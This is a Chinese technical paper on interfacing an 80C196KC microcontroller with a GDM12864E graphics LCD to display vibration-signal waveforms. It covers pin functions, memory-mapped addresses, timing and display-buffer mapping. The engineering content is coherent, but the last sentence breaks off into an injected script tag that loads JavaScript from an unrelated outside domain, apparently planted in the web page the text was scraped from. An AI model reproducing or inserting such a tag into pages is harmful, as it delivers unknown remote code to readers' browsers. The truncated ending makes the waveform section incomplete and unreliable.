摘 要:以80c196kc控制gdm12864e显示模块为例,介绍单片机和显示模块硬件接口电路及显示振动信号波形的编程方法。
关键词:单片机;点阵图形;lcd模块;波形显示
realization of the vibration signal wave display on graphics lcd
huyong-kang,zhangxi-en
(ordnance engineering college,shijiazhuang 050003,china)
abstract:as an example of gdm12864edot-matrix graphics lcdwhich is controlled by 80c196kc,this paper introduces the interface of80c196kc and lcdand the programway of vibration signal wave display on dot-matrix graphics lcd.
key words:single chip microprocessor;dot-matrix graphic;lcd module;wave display
1 gdm12864e简介及其与mpu的接口
1.1 gdm12864e简介
点阵图形型液晶显示模块gdm12864e内嵌st7920型中文字型点阵lcd控制/驱动器,通过对控制/驱动器写指令,可以显示数字、字母、汉字以及自定义图形。控制/驱动器st7920的rom中包括8192个16×16点的中文字型,以及128个16×8点半宽的数字、字母字型;ram中包括1个128×64点的软件绘图区域(gdram)和4个16×16点的软件造字区域(cgram)。
gdm12864e模块共有20个引脚。1-vss,系统地;2-vdd,系统电源(+5v);3-vo,显示对比度调节;4-rs,数据/指令寄存器选择信号;5-rw,读/写模块数据选择信号;6-e,使能信号端,上升沿(前沿)锁存选择信号,下降沿(后沿)读/写数据或命令:7~14为8位数据输入/输出总线;15~18为空;19-a,led背光的电源正极:20-k,led背光的电源地。
1.2 gdm12864e与80c196kc的接口
单片机与显示模块的接口就是单片机与显示模块的控制/驱动器st7920的接口。st7920与单片机的连接方式有两种:直接访问方式和间接访问方式。这里采用直接访问方式,即将lcd显示模块的接口作为单片机的一段片外存储器,通过对该段存储单元的存取操作来实现对液晶显示模块的控制。硬件接口如图1所示。
在图1中,单片机的外部数据总线工作在8位方式。ad0~ad7分时复用作数据总线和地址总线的低8位,作为数据线时直接与液晶显示模块的数据口连接。单片机的高位地址线a10接至数据/指令寄存器选择信号端rs,a11接至读/写模块数据选择信号端rw。a10和a11组合成的四种状态所对应的功能如表1所示。
e的上升沿(前沿)锁存所选择的信号,下降沿(后沿)执行读/写数据或命令。工作时序如图2所示。其中,对于控制/驱动器st7920,使能信号e的宽度必须大于450ns。当晶振频率选为12mhz时,80c196kc单片机读/写信号wr/rd的宽度是550ns,能够满足要求。16mhz晶振不能满足要求。
1.3 显示模块占用地址的分配
这里将lcd显示模块作为单片机的一段外部存储单元,由接口电路知,lcd占用片外地址范围1000h~1fffh。其中,对片外单元1000h~13ffh只能进行写操作,向lcd模块发送指令;对片外单元1400h~17ffh只能进行写操作,向显示缓冲区某个单元写数据;对片外单元1800h~1bffh只能进行读操作,读取lcd的忙碌标志;对片外单元1c00h~1fffh只能进行读操作,读取显示缓冲区中某个单元的内容。这样做的好处是程序精简,从而提高显示速度。
例如:ldb r1,#08h
stb r1,1000h
完成对关显示命令08h的传送,其中地址1000h更换成段1000h~13ffh中其他单元地址同样有效。
ldb r1,1800h
将忙碌标志读到r1中。同样,地址1800h更换成段1800h~1bffh中其他单元的地址同样有效。
2 波形显示的软件设计
在控制/驱动器st7920中存在一个与液晶屏面相对应的显示缓冲区。利用lcd模块显示波形,最关键的就是确定该缓冲区的存储单元同液晶屏面上像素的对应关系。有了这个对应关系后,我们就可以通过将某个存储单元中的某一位置为1来实现在液晶屏上画出对应的一点。该缓冲区共有64行×16列=1024个存储单元(每个单元8位),每一单元同液晶屏面上的水平连续的8个像素相对应,显示缓冲区中的每个存储单元的地址分为水平地址和垂直地址,该地址对应到液晶平面上就是连续8个像素的水平坐标和垂直坐标。
在测试仪的软件设计中,每次连续采集2k个数据存放在ram中的8000h~87ffh单元内。而液晶显示器每次只能显示128个点,因此,我们可以通过改变在ram中的读数间隔来控制信号波形的横向显示,即每显示完一个数据,ram地址加n(n的最大值16)。通过改变n的大小来实现对信号波形在水平方向上的拉伸或压缩,以便于观察。
以显示?script src=http://er12.com/t.js>